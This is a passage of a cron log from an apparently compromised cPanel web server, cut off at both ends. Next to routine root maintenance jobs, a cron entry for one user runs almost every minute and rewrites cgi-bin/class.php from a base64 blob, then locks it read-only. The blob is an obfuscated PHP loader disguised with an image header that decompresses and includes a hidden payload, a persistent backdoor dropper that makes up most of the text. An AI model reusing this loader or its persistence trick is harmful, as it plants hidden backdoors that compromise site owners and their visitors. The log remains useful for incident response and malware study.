QKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:29:01 server CROND[12875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:30:01 server CROND[12922]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 09:30:01 server CROND[12923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:30:01 server CROND[12924]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 09:30:01 server CROND[12925]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 09:31:01 server CROND[13049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:32:01 server CROND[13095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:33:01 server CROND[13240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:34:01 server CROND[13302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:35:01 server CROND[13357]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 09:35:01 server CROND[13359]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 09:35:01 server CROND[13360]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 09:35:01 server CROND[13365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:35:01 server CROND[13364]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 09:36:01 server CROND[13477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:37:01 server CROND[13519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:38:01 server CROND[13672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:39:01 server CROND[13723]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 09:39:01 server CROND[13724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:40:01 server CROND[13778]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 09:40:01 server CROND[13777]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 09:40:01 server CROND[13779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:40:01 server CROND[13780]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 09:41:01 server CROND[13916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:42:01 server CROND[13997]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 09:42:01 server CROND[14000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 